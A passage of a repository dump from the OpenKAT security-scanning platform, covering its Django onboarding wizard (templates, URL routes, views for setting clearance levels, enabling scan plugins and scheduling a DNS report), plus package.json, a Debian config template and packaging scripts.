\"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <div class=\"button-container\">\n                        <button type=\"submit\">{% translate \"Set clearance level\" %}</button>\n                        <a href=\"{% url \"complete_onboarding\" organization.code %}\"\n                           class=\"button ghost\">{% translate \"Skip onboarding\" %}</a>\n                    </div>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/onboarding/templates/step_7_clearance_level_introduction.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" with view_type=\"onboarding\" %}\n\n    <main id=\"main-content\" class=\"explanation-page\">\n        <section>\n            {% include \"partials/onboarding_header.html\" %}\n\n            <div>\n                <h2>{% translate \"Plugin introduction\" %}</h2>\n                <p>\n                    {% blocktranslate trimmed %}\n                        OpenKAT uses plugins to scan your objects. Each plugin has a scan level to specify how aggressive the scan is. Plugins can only scan those objects with a clearance level that is equal to, or higher than the scan level of the plugin.\n                        Plugin scan level are indicated by the number of cat paws.\n                    {% endblocktranslate %}\n                </p>\n                <p>\n                    {% blocktranslate trimmed %}\n                        The plugin <strong>DNS Zone</strong> has a scan level of 1, meaning that it performs non-intrusive scans which look for publicly available information. It scans objects with a clearance level of 1 or higher.\n                    {% endblocktranslate %}\n                </p>\n                <p>\n                    {% blocktranslate trimmed %}\n                        The plugin <strong>Fierce</strong> has a scan level of 3, meaning that it more aggressive and could potentially break things. It scans objects with a clearance level of 3 or higher.\n                    {% endblocktranslate %}\n                </p>\n                <div id=\"id_boefjes\" class=\"column-4 plugins tiles images-cover\">\n                    {% for boefje in boefjes %}\n                        {% include \"partials/plugin_tile.html\" with plugin=boefje remove_action_buttons=True %}\n\n                    {% endfor %}\n                </div>\n                <br>\n                <div class=\"button-container\">\n                    <a href=\"{% url \"step_8_setup_scan_select_plugins\" organization.code %}?{{ request.GET.urlencode }}\"\n                       class=\"button\">{% translate \"Continue\" %}</a>\n                    <a href=\"{% url \"complete_onboarding\" organization.code %}\"\n                       class=\"button ghost\">{% translate \"Skip onboarding\" %}</a>\n                </div>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/onboarding/templates/step_8_setup_scan_select_plugins.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" with view_type=\"onboarding\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"partials/onboarding_header.html\" %}\n\n            <div>\n                <h2>{% translate \"Enabling plugins and start scanning\" %}</h2>\n                <p>\n                    {% blocktranslate trimmed %}\n                        OpenKAT uses plugins to scan, check and analyze. There are three types of plugins.\n                    {% endblocktranslate %}\n                </p>\n                <p>\n                    {% blocktranslate trimmed %}\n                        The first plugin are <b>Boefjes</b>, which scan objects for data. These are security tools like nmap, LeakIX and WPscan.\n                    </p>\n                {% endblocktranslate %}\n                <p>\n                    {% blocktranslate trimmed %}\n                        The other two plugins are <b>Normalizers</b> and <b>Bits</b>, which are used to process the output of Boefjes. They can create findings and related objects.\n                        Bits are also used to create organization specific findings, based on policy requirements.\n                    </p>\n                {% endblocktranslate %}\n                <br>\n                <p>\n                    {% blocktranslate trimmed %}\n                        For the onboarding we will enable the Boefjes shown below. Once enabled these Boefjes gather publicly available information on suitable objects with a clearance level of 1 or higher. Normalizers and Bits are enabled by default.\n                    {% endblocktranslate %}\n                </p>\n                <div class=\"column-4 tiles plugins images-cover\">\n                    {% for required_plugin in plugins.required %}\n                        {% include \"partials/plugin_tile.html\" with form_id=\"enable_plugin_form\" plugin=required_plugin remove_action_buttons=\"yes\" add_checkbox=\"yes\" checked=\"yes\" %}\n\n                    {% endfor %}\n                    {% for optional_plugin in plugins.optional %}\n                        {% include \"partials/plugin_tile.html\" with form_id=\"enable_plugin_form\" plugin=optional_plugin remove_action_buttons=\"yes\" add_checkbox=\"yes\" checked=\"yes\" %}\n\n                    {% endfor %}\n                </div>\n                <br>\n                <form id=\"enable_plugin_form\" novalidate method=\"post\" class=\"inline\">\n                    {% csrf_token %}\n                    <div class=\"button-container\">\n                        <button type=\"submit\">{% translate \"Enable and continue\" %}</button>\n                        <a href=\"{% url \"complete_onboarding\" organization.code %}\"\n                           class=\"button ghost\">{% translate \"Skip onboarding\" %}</a>\n                    </div>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/onboarding/templates/step_9_choose_report_type.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" with view_type=\"onboarding\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"partials/onboarding_header.html\" %}\n\n            <div>\n                <h2>{% translate \"Generate a report\" %}</h2>\n                <p>\n                    {% blocktranslate trimmed %}\n                        Reports can be used to gain more insights in your organizations assets. You can generate different types of reports in OpenKAT. Each report may require one or more plugins that provide the input for the report.\n                    {% endblocktranslate %}\n                </p>\n                <p>\n                    {% blocktranslate trimmed %}\n                        For the onboarding we will generate a DNS report for your added URL. In the previous step you enabled the required plugins for this report.\n                    {% endblocktranslate %}\n                </p>\n                <form method=\"post\"\n                      action=\"{% url \"step_9a_setup_scan_ooi_detail\" organization.code %}?{{ request.GET.urlencode }}\"\n                      class=\"inline\">\n                    {% csrf_token %}\n                    <div class=\"button-container\">\n                        {% if organization %}\n                            <button name=\"report_type\" value=\"dns-report\" type=\"submit\" class=\"button\">\n                                {% translate \"Generate DNS Report\" %}\n                            </button>\n                        {% endif %}\n                        {% if organization %}\n                            <a href=\"{% url \"complete_onboarding\" organization.code %}\"\n                               class=\"button ghost\">{% translate \"Skip onboarding\" %}</a>\n                        {% endif %}\n                    </div>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/onboarding/urls.py",
    "content": "from django.urls import path\n\nfrom onboarding import views\n\nurlpatterns = [\n    path(  # Step 1\n        \"step/introduction/registration/\",\n        views.OnboardingIntroductionRegistrationView.as_view(),\n        name=\"step_1_introduction_registration\",\n    ),\n    path(  # Step 2\n        \"step/organization-setup/\", views.OnboardingOrganizationSetupView.as_view(), name=\"step_2a_organization_setup\"\n    ),\n    path(  # Step 2 update\n        \"<organization_code>/step/organization-setup/update/\",\n        views.OnboardingOrganizationUpdateView.as_view(),\n        name=\"step_2b_organization_update\",\n    ),\n    path(  # Step 3\n        \"<organization_code>/step/indemnification-setup/\",\n        views.OnboardingIndemnificationSetupView.as_view(),\n        name=\"step_3_indemnification_setup\",\n    ),\n    path(  # Step 1 for admins: introduction\n        \"<organization_code>/step/introduction/\",\n        views.OnboardingIntroductionView.as_view(),\n        name=\"step_1a_introduction\",\n    ),\n    path(  # Step 4\n        \"<organization_code>/step/acknowledge-clearance-level/\",\n        views.OnboardingAcknowledgeClearanceLevelView.as_view(),\n        name=\"step_4_trusted_acknowledge_clearance_level\",\n    ),\n    path(  # Step 5\n        \"<organization_code>/step/add-scan-ooi/<ooi_type>/\",\n        views.OnboardingSetupScanOOIAddView.as_view(),\n        name=\"step_5_add_scan_ooi\",\n    ),\n    path(  # Step 6\n        \"<organization_code>/step/set-clearance-level/\",\n        views.OnboardingSetClearanceLevelView.as_view(),\n        name=\"step_6_set_clearance_level\",\n    ),\n    path(  # Step 7\n        \"<organization_code>/step/clearance-level-introduction/\",\n        views.OnboardingClearanceLevelIntroductionView.as_view(),\n        name=\"step_7_clearance_level_introduction\",\n    ),\n    path(  # Step 8\n        \"<organization_code>/step/setup-scan/select-plugins/\",\n        views.OnboardingSetupScanSelectPluginsView.as_view(),\n        name=\"step_8_setup_scan_select_plugins\",\n    ),\n    path(  # Step 9\n        \"<organization_code>/step/choose-report-type/\",\n        views.OnboardingChooseReportTypeView.as_view(),\n        name=\"step_9_choose_report_type\",\n    ),\n    path(  # Step 9a\n        \"<organization_code>/step/setup-scan/ooi/detail/\",\n        views.OnboardingCreateReportRecipe.as_view(),\n        name=\"step_9a_setup_scan_ooi_detail\",\n    ),\n    path(  # Step 10\n        \"<organization_code>/step/report/\", views.OnboardingReportView.as_view(), name=\"step_10_report\"\n    ),\n    path(\n        \"<organization_code>/step/complete-onboarding/\", views.CompleteOnboarding.as_view(), name=\"complete_onboarding\"\n    ),\n]\n"
  },
  {
    "path": "rocky/onboarding/view_helpers.py",
    "content": "from django.urls import reverse_lazy\nfrom django.utils.translation import gettext_lazy as _\nfrom reports.views.base import get_selection\nfrom tools.models import Organization\nfrom tools.view_helpers import StepsMixin\n\nONBOARDING_PERMISSIONS = (\n    \"tools.can_scan_organization\",\n    \"tools.can_set_clearance_level\",\n    \"tools.can_enable_disable_boefje\",\n)\n\nDNS_REPORT_LEAST_CLEARANCE_LEVEL = 1\n\n\nclass IntroductionStepsMixin(StepsMixin):\n    \"\"\"Flow for redteamers/admins added to an organization as a member - needs the organization as a context.\"\"\"\n\n    organization: Organization\n\n    def build_steps(self):\n        steps = [\n            {\n                \"text\": _(\"1: Welcome\"),\n                \"url\": reverse_lazy(\"step_1a_introduction\", kwargs={\"organization_code\": self.organization.code})\n                + get_selection(self.request),\n            },\n            {\n                \"text\": _(\"2: Organization setup\"),\n                \"url\": reverse_lazy(\"step_2b_organization_update\", kwargs={\"organization_code\": self.organization.code})\n                + get_selection(self.request),\n            },\n            {\n                \"text\": _(\"3: Add object\"),\n                \"url\": reverse_lazy(\n                    \"step_5_add_scan_ooi\", kwargs={\"ooi_type\": \"URL\", \"organization_code\": self.organization.code}\n                )\n                + get_selection(self.request),\n            },\n            {\n                \"text\": _(\"4: Plugins\"),\n                \"url\": reverse_lazy(\"step_9_choose_report_type\", kwargs={\"organization_code\": self.organization.code})\n                + get_selection(self.request),\n            },\n            {\n                \"text\": _(\"5: Generating report\"),\n                \"url\": reverse_lazy(\"step_10_report\", kwargs={\"organization_code\": self.organization.code})\n                + get_selection(self.request),\n            },\n        ]\n        return steps\n\n\nclass IntroductionRegistrationStepsMixin(StepsMixin):\n    \"\"\"Flow for new superusers that need to create an organization as well.\"\"\"\n\n    organization: Organization\n\n    def build_steps(self):\n        steps = [\n            {\n                \"text\": _(\"1: Welcome\"),\n                \"url\": reverse_lazy(\"step_1_introduction_registration\") + get_selection(self.request),\n            },\n            {\n                \"text\": _(\"2: Organization setup\"),\n                \"url\": reverse_lazy(\"step_2a_organization_setup\") + get_selection(self.request),\n            },\n            {\"text\": _(\"3: Add object\"), \"url\": \"\" + get_selection(self.request)},\n            {\"text\": _(\"4: Plugins\"), \"url\": \"\" + get_selection(self.request)},\n            {\"text\": _(\"5: Generating report\"), \"url\": \"\" + get_selection(self.request)},\n        ]\n        return steps\n"
  },
  {
    "path": "rocky/onboarding/views.py",
    "content": "from datetime import datetime, timedelta, timezone\nfrom typing import Any\n\nfrom account.forms import OnboardingOrganizationUpdateForm, OrganizationForm\nfrom account.mixins import OrganizationPermissionRequiredMixin, OrganizationView\nfrom account.views import OOIClearanceMixin\nfrom crisis_room.management.commands.dashboards import run_findings_dashboard\nfrom django.contrib import messages\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.mixins import PermissionRequiredMixin\nfrom django.shortcuts import redirect\nfrom django.urls import reverse_lazy\nfrom django.urls.base import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\nfrom django.views.generic.edit import CreateView, FormView, UpdateView\nfrom httpx import HTTPError\nfrom katalogus.client import Plugin\nfrom reports.report_types.definitions import ReportPlugins\nfrom reports.report_types.dns_report.report import DNSReport\nfrom reports.views.base import BaseReportView, get_selection\nfrom structlog import get_logger\nfrom tools.models import Organization, OrganizationMember\nfrom tools.ooi_helpers import get_or_create_ooi\nfrom tools.view_helpers import Breadcrumb\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.ooi.web import URL\nfrom onboarding.forms import OnboardingCreateObjectURLForm, OnboardingSetClearanceLevelForm\nfrom onboarding.view_helpers import (\n    DNS_REPORT_LEAST_CLEARANCE_LEVEL,\n    ONBOARDING_PERMISSIONS,\n    IntroductionRegistrationStepsMixin,\n    IntroductionStepsMixin,\n)\nfrom rocky.exceptions import RockyError\nfrom rocky.views.indemnification_add import IndemnificationAddView\nfrom rocky.views.ooi_view import SingleOOIMixin, SingleOOITreeMixin\nfrom rocky.views.scheduler import SchedulerView\n\nUser = get_user_model()\n\n\nlogger = get_logger(__name__)\n\n\nclass OnboardingStart(OrganizationView):\n    def get(self, request, *args, **kwargs):\n        if request.user.is_superuser:\n            return redirect(\"step_1_introduction_registration\")\n        if self.organization_member.has_perms(ONBOARDING_PERMISSIONS):\n            return redirect(\"step_1a_introduction\", kwargs={\"organization_code\": self.organization.code})\n        return redirect(\"crisis_room\")\n\n\nclass OnboardingIntroductionView(\n    OrganizationPermissionRequiredMixin, IntroductionStepsMixin, OrganizationView, TemplateView\n):\n    \"\"\"\n    1. Start the onboarding wizard. What is OpenKAT and what it does.\n    \"\"\"\n\n    template_name = \"step_1a_introduction.html\"\n    current_step = 1\n    permission_required = \"tools.can_scan_organization\"\n\n\nclass OnboardingIntroductionRegistrationView(PermissionRequiredMixin, IntroductionRegistrationStepsMixin, TemplateView):\n    \"\"\"\n    Step: 1 - Registration introduction\n    \"\"\"\n\n    template_name = \"step_1_introduction_registration.html\"\n    current_step = 1\n    permission_required = \"tools.add_organizationmember\"\n\n\nclass OnboardingOrganizationSetupView(PermissionRequiredMixin, IntroductionRegistrationStepsMixin, CreateView):\n    \"\"\"\n    Step 2a: Create a new organization\n    \"\"\"\n\n    model = Organization\n    template_name = \"step_2a_organization_setup.html\"\n    form_class = OrganizationForm\n    current_step = 2\n    permission_required = \"tools.add_organization\"\n\n    def get(self, request, *args, **kwargs):\n        if member := OrganizationMember.objects.filter(user=self.request.user).first():\n            return redirect(\n                reverse(\"step_2b_organization_update\", kwargs={\"organization_code\": member.organization.code})\n            )\n        return super().get(request, *args, **kwargs)\n\n    def post(self, request, *args, **kwargs):\n        try:\n            return super().post(request, *args, **kwargs)\n        except RockyError as e:\n            messages.add_message(request, messages.ERROR, str(e))\n\n        return self.get(request, *args, **kwargs)\n\n    def get_success_url(self) -> str:\n        self.create_first_member(self.object)\n        return reverse_lazy(\"step_3_indemnification_setup\", kwargs={\"organization_code\": self.object.code})\n\n    def form_valid(self, form):\n        org_name = form.cleaned_data[\"name\"]\n        result = super().form_valid(form)\n        self.add_success_notification(org_name)\n        return result\n\n    def create_first_member(self, organization):\n        member = OrganizationMember.objects.create(user=self.request.user, organization=organization)\n        if member.user.is_superuser:\n            member.trusted_clearance_level = 4\n            member.acknowledged_clearance_level = 4\n            member.save()\n\n    def add_success_notification(self, org_name):\n        success_message = _(\"{org_name} successfully created.\").format(org_name=org_name)\n        messages.add_message(self.request, messages.SUCCESS, success_message)\n\n\nclass OnboardingOrganizationUpdateView(\n    OrganizationPermissionRequiredMixin, IntroductionStepsMixin, OrganizationView, UpdateView\n):\n    \"\"\"\n    Step 2b: Update an existing organization (only name not code)\n    \"\"\"\n\n    model = Organization\n    template_name = \"step_2b_organization_update.html\"\n    form_class = OnboardingOrganizationUpdateForm\n    current_step = 2\n    permission_required = \"tools.change_organization\"\n\n    def get_object(self, queryset=None):\n        return self.organization\n\n    def get_success_url(self) -> str:\n        return reverse_lazy(\"step_3_indemnification_setup\", kwargs={\"organization_code\": self.organization.code})\n\n    def form_valid(self, form):\n        org_name = form.cleaned_data[\"name\"]\n        self.add_success_notification(org_name)\n        return super().form_valid(form)\n\n    def add_success_notification(self, org_name):\n        success_message = _(\"{org_name} successfully updated.\").format(org_name=org_name)\n        messages.add_message(self.request, messages.SUCCESS, success_message)\n\n\nclass OnboardingIndemnificationSetupView(IntroductionStepsMixin, IndemnificationAddView):\n    \"\"\"\n    Step 3: Agree to idemnification to scan oois\n    \"\"\"\n\n    current_step = 2\n    template_name = \"step_3_indemnification_setup.html\"\n\n    def get_success_url(self) -> str:\n        return reverse_lazy(\n            \"step_4_trusted_acknowledge_clearance_level\", kwargs={\"organization_code\": self.organization.code}\n        )\n\n\nclass OnboardingAcknowledgeClearanceLevelView(\n    IntroductionStepsMixin, OOIClearanceMixin, OrganizationView, TemplateView\n):\n    \"\"\"\n    4. Explains the user that before setting a clearance level, they must have a permission to do so.\n    Here they acknowledge the clearance level assigned by their administrator.\n    \"\"\"\n\n    template_name = \"step_4_trusted_acknowledge_clearance_level.html\"\n    permission_required = \"tools.can_set_clearance_level\"\n    current_step = 2\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"ooi\"] = self.request.GET.get(\"ooi\", \"\")\n        context[\"dns_report_least_clearance_level\"] = DNS_REPORT_LEAST_CLEARANCE_LEVEL\n        return context\n\n\nclass OnboardingSetupScanOOIAddView(\n    OrganizationPermissionRequiredMixin, IntroductionStepsMixin, SingleOOITreeMixin, FormView\n):\n    \"\"\"\n    5. The user will create a URL object. Shows a form and validation to create object.\n    \"\"\"\n\n    template_name = \"step_5_add_scan_ooi.html\"\n    current_step = 3\n    permission_required = \"tools.can_scan_organization\"\n    form_class = OnboardingCreateObjectURLForm\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n\n    def get_or_create_url_object(self, url: str) -> OOI:\n        network = Network(name=\"internet\")\n        url = URL(network=network.reference, raw=url, user_id=self.request.user.id)\n        observed_at = datetime.now(timezone.utc)\n        url_ooi, _ = get_or_create_ooi(self.octopoes_api_connector, self.bytes_client, url, observed_at)\n        return url_ooi\n\n    def form_valid(self, form):\n        cleaned_url = form.cleaned_data[\"url\"]\n        ooi = self.get_or_create_url_object(cleaned_url)\n        selection = {\"ooi\": ooi.primary_key}\n        return redirect(\n            reverse(\"step_6_set_clearance_level\", kwargs={\"organization_code\": self.organization.code})\n            + get_selection(self.request, selection)\n        )\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        return super().build_breadcrumbs() + [\n            {\n                \"url\": reverse(\"step_6_set_clearance_level\", kwargs={\"organization_code\": self.organization.code})\n                + get_selection(self.request),\n                \"text\": _(\"Creating an object\"),\n            }\n        ]\n\n\nclass OnboardingSetClearanceLevelView(\n    OrganizationPermissionRequiredMixin, IntroductionStepsMixin, SingleOOITreeMixin, FormView\n):\n    \"\"\"\n    6. Set the actual clearance level on the object created before.\n    \"\"\"\n\n    template_name = \"step_6_set_clearance_level.html\"\n    permission_required = \"tools.can_set_clearance_level\"\n    current_step = 3\n    form_class = OnboardingSetClearanceLevelForm\n    initial = {\"level\": DNS_REPORT_LEAST_CLEARANCE_LEVEL}\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.url = self.request.GET.get(\"ooi\", \"\")\n        self.selection = {\"ooi\": self.url}\n\n    def form_valid(self, form):\n        ooi = self.get_ooi(self.url)\n        if not self.can_raise_clearance_level(ooi, DNS_REPORT_LEAST_CLEARANCE_LEVEL):\n            return self.get(self.request, self.args, self.kwargs)\n        return redirect(\n            reverse(\"step_7_clearance_level_introduction\", kwargs={\"organization_code\": self.organization.code})\n            + get_selection(self.request, self.selection)\n        )\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"ooi\"] = self.url\n        context[\"dns_report_least_clearance_level\"] = DNS_REPORT_LEAST_CLEARANCE_LEVEL\n        return context\n\n\nclass OnboardingClearanceLevelIntroductionView(\n    OrganizationPermissionRequiredMixin, IntroductionStepsMixin, OrganizationView, TemplateView\n):\n    \"\"\"\n    7. Explanation what clearance levels mean.\n    \"\"\"\n\n    template_name = \"step_7_clearance_level_introduction.html\"\n    permission_required = \"tools.can_set_clearance_level\"\n    current_step = 4\n\n    def get_boefjes_tiles(self) -> list[dict[str, Any]]:\n        tiles = [\n            {\n                \"id\": \"dns_zone\",\n                \"type\": \"boefje\",\n                \"scan_level\": \"1\",\n                \"name\": \"DNS-Zone\",\n                \"description\": _(\"Fetch the parent DNS zone of a hostname\"),\n                \"enabled\": False,\n            },\n            {\n                \"id\": \"fierce\",\n                \"type\": \"boefje\",\n                \"scan_level\": \"3\",\n                \"name\": \"Fierce\",\n                \"description\": _(\"Finds subdomains by brute force\"),\n                \"enabled\": False,\n            },\n        ]\n        return tiles\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"ooi\"] = self.request.GET.get(\"ooi\", \"\")\n        context[\"boefjes\"] = self.get_boefjes_tiles()\n        return context\n\n\nclass OnboardingSetupScanSelectPluginsView(\n    OrganizationPermissionRequiredMixin, IntroductionStepsMixin, OrganizationView, TemplateView\n):\n    \"\"\"\n    8. Shows the user all required and optional plugins to select from. Required plugins are mandatory to continue.\n    \"\"\"\n\n    template_name = \"step_8_setup_scan_select_plugins.html\"\n    permission_required = \"tools.can_enable_disable_boefje\"\n    current_step = 4\n    plugins: ReportPlugins = DNSReport.plugins\n\n    def get_plugins(self) -> dict[str, list[Plugin]]:\n        all_plugins = {}\n        for required_optional, plugin_ids in self.plugins.items():\n            plugins = self.katalogus_client.get_plugins(ids=[plugin_id for plugin_id in plugin_ids])  # type: ignore\n            all_plugins[required_optional] = plugins\n\n        return all_plugins\n\n    def post(self, request, *args, **kwargs):\n        selected_plugins = request.POST.getlist(\"plugin\", [])\n\n        if not selected_plugins:\n            messages.error(request, _(\"Please select a plugin to proceed.\"))\n            return self.get(request, *args, **kwargs)\n        for plugin_id in self.plugins[\"required\"]:\n            if plugin_id not in selected_plugins:\n                messages.error(request, _(\"Please select all required plugins to proceed.\"))\n                return self.get(request, *args, **kwargs)\n        for selected_plugin in selected_plugins:\n            try:\n                self.katalogus_client.enable_boefje_by_id(selected_plugin)\n            except HTTPError:\n                messages.error(\n                    request,\n                    _(\"An error occurred while enabling {}. The plugin is not available.\").format(selected_plugin),\n                )\n                return self.get(request, *args, **kwargs)\n        messages.success(request, _(\"Plugins successfully enabled.\"))\n        return redirect(\n            reverse(\"step_9_choose_report_type\", kwargs={\"organization_code\": self.organization.code})\n            + get_selection(self.request)\n        )\n\n    def get_context_data(self, **kwargs: Any) -> dict[str, Any]:\n        context = super().get_context_data(**kwargs)\n        context[\"plugins\"] = self.get_plugins()\n        return context\n\n\nclass OnboardingChooseReportTypeView(\n    OrganizationPermissionRequiredMixin, IntroductionStepsMixin, OrganizationView, TemplateView\n):\n    \"\"\"\n    9. Choose a report type. Gives the user a choice of many report types. Ex. DNS report\n    \"\"\"\n\n    template_name = \"step_9_choose_report_type.html\"\n    current_step = 5\n    permission_required = \"tools.can_scan_organization\"\n\n\nclass OnboardingCreateReportRecipe(\n    OrganizationPermissionRequiredMixin,\n    IntroductionStepsMixin,\n    SingleOOIMixin,\n    BaseReportView,\n    SchedulerView,\n    TemplateView,\n):\n    \"\"\"\n    9a. Shows the user object information, more in depth info about the object.\n    \"\"\"\n\n    template_name = \"step_9_choose_report_type.html\"\n    current_step = 5\n    permission_required = \"tools.can_scan_organization\"\n    task_type = \"report\"\n\n    def post(self, request, *args, **kwargs):\n        report_name_format = self.get_initial_report_name()\n        parent_report_type = self.get_parent_report_type()\n        report_recipe = self.create_report_recipe(report_name_format, parent_report_type, None)\n\n        self.create_report_schedule(report_recipe, datetime.now(timezone.utc) + timedelta(minutes=2))\n        run_findings_dashboard(self.organization)\n\n        return redirect(\n            reverse(\"step_10_report\", kwargs={\"organization_code\": self.organization.code})\n            + get_selection(self.request, {\"recipe_id\": report_recipe.primary_key})\n        )\n\n    def get_ooi_pks(self) -> list[str]:\n        ooi = self.get_ooi(self.request.GET.get(\"ooi\"))\n        if ooi.web_url is not None:\n            hostname_ooi = [Hostname(name=ooi.web_url.tokenized[\"netloc\"][\"name\"], network=ooi.network)]\n            return [hostname_ooi[0].primary_key]\n\n        messages.error(self.request, _(\"Web URL not found.\"))\n        logger.error(\"Web URL not found.\")\n        return []\n\n    def get_report_type_ids(self) -> list[str]:\n        return [self.request.POST.get(\"report_type\", \"\")]\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"ooi\"] = self.get_ooi(self.request.GET.get(\"ooi\", \"\"))\n        return context\n\n\nclass OnboardingReportView(\n    OrganizationPermissionRequiredMixin, IntroductionStepsMixin, SingleOOIMixin, BaseReportView, TemplateView\n):\n    \"\"\"\n    10. The user already started the scan and is now waiting till scans are finished to generate the report.\n    Onboarding finished and member onboarded, next step will be the actual report.\n    \"\"\"\n\n    template_name = \"step_10_report.html\"\n    current_step = 6\n    permission_required = \"tools.can_scan_organization\"\n\n    def post(self, request, *args, **kwargs):\n        self.set_member_onboarded()\n\n        messages.success(\n            self.request,\n            _(\n                \"Your report is scheduled for generation in about 3 minutes, \"\n                \"as we are waiting for Boefjes to complete. \"\n                \"In the meantime get familiar with OpenKAT and visit the Reports History tab later.\"\n            ),\n        )\n        return redirect(reverse(\"report_history\", kwargs={\"organization_code\": self.organization.code}))\n\n    def set_member_onboarded(self):\n        member = OrganizationMember.objects.get(user=self.request.user, organization=self.organization)\n        member.onboarded = True\n        member.status = OrganizationMember.STATUSES.ACTIVE\n        member.save()\n\n\nclass CompleteOnboarding(OrganizationView):\n    \"\"\"\n    Complete onboarding for redteamers and superusers.\n    \"\"\"\n\n    def get(self, request, *args, **kwargs):\n        self.organization_member.onboarded = True\n        self.organization_member.status = OrganizationMember.STATUSES.ACTIVE\n        self.organization_member.save()\n        return redirect(reverse(\"crisis_room\"))\n"
  },
  {
    "path": "rocky/package.json",
    "content": "{\n  \"scripts\": {\n    \"dev\": \"parcel watch assets/js/*.js assets/js/**/*.js --dist-dir assets/dist --public-url ./\",\n    \"build\": \"parcel build assets/js/*.js assets/js/**/*.js --dist-dir assets/dist --public-url ./ --no-scope-hoist\",\n    \"test\": \"yarn --cwd roeltje cypress open\",\n    \"format\": \"prettier --write .\"\n  },\n  \"devDependencies\": {\n    \"@parcel/transformer-sass\": \"2.6.2\",\n    \"parcel\": \"2.6.2\",\n    \"prettier\": \"^2.7.1\"\n  },\n  \"dependencies\": {\n    \"@minvws/manon\": \"16.1.0\",\n    \"d3\": \"^7.4.3\"\n  },\n  \"browserslist\": [\n    \"last 1 Chrome version\"\n  ],\n  \"packageManager\": \"yarn@1.22.22+sha512.a6b2f7906b721bba3d67d4aff083df04dad64c399707841b7acf00f6b133b7ac24255f2652fa22ae3534329dc6180534e98d17432037ff6fd140556e2bb3137e\"\n}\n"
  },
  {
    "path": "rocky/packaging/deb/data/etc/kat/rocky.conf",
    "content": "# Django settings\nSECRET_KEY=\n# DEBUG=\"False\"\n# TWOFACTOR_ENABLED=\"True\"\nDJANGO_ALLOWED_HOSTS=\"127.0.0.1,localhost\"\nDJANGO_CSRF_TRUSTED_ORIGINS=\"http://localhost,http://127.0.0.1\"\n\n# Rocky Postgresql settings\nROCKY_DB=rocky_db\nROCKY_DB_USER=rocky\nROCKY_DB_PASSWORD=\nROCKY_DB_HOST=localhost\nROCKY_DB_PORT=5432\n\n# External services\n# OCTOPOES_API=http://localhost:8001\n# SCHEDULER_API=http://localhost:8004\n# KATALOGUS_API=http://localhost:8003\n# BYTES_API=http://localhost:8002\nBYTES_USERNAME=bytes\nBYTES_PASSWORD=\n\n# Email settings for SMTP\n# Very important, when you set SSL then disable or leave TLS blank\n# vice versa as well, when you set TLS leave SSL blank\nEMAIL_BACKEND=django.core.mail.backends.smtp.EmailBackend\nEMAIL_HOST=\nEMAIL_PORT=\nEMAIL_HOST_USER=\nEMAIL_HOST_PASSWORD=\nDEFAULT_FROM_EMAIL=\nSERVER_EMAIL=\n# RFC 8314 recommends implicit TLS connections.\n# See https://docs.djangoproject.com/en/4.0/ref/settings/#email-use-tls for other possibilities.\nEMAIL_USE_TLS=\nEMAIL_USE_SSL=\n"
  },
  {
    "path": "rocky/packaging/deb/data/usr/bin/rocky-cli",
    "content": "#!/bin/bash\n\nset -ae\nsource /usr/lib/kat/rocky.defaults\nsource /etc/kat/rocky.conf\n\n/opt/venvs/kat-rocky/bin/manage.py \"$@\"\n"
  },
  {
    "path": "rocky/packaging/scripts/build-debian-package.sh",
    "content": "#!/bin/bash\n\nset -e\n\n# TODO: generate proper changelog using a tool like git-dch\necho \"Create changelog file\"\ncat > debian/changelog << EOF\n${PKG_NAME} (${RELEASE_VERSION}) unstable; urgency=low\n  * view changes: https://github.com/${REPOSITORY}/releases/tag/v${RELEASE_VERSION}\n\n -- OpenKAT <maintainer@openkat.nl>  $(LANG=C date -R)\n\nEOF\n\necho \"Build frontend\"\nyarn\nyarn build\n\ndpkg-buildpackage -us -uc -b\n\nmv /\"${PKG_NAME}\"_\"${RELEASE_VERSION}\"_*.deb /app/build/\n"
  },
  {
    "path": "rocky/pyproject.toml",
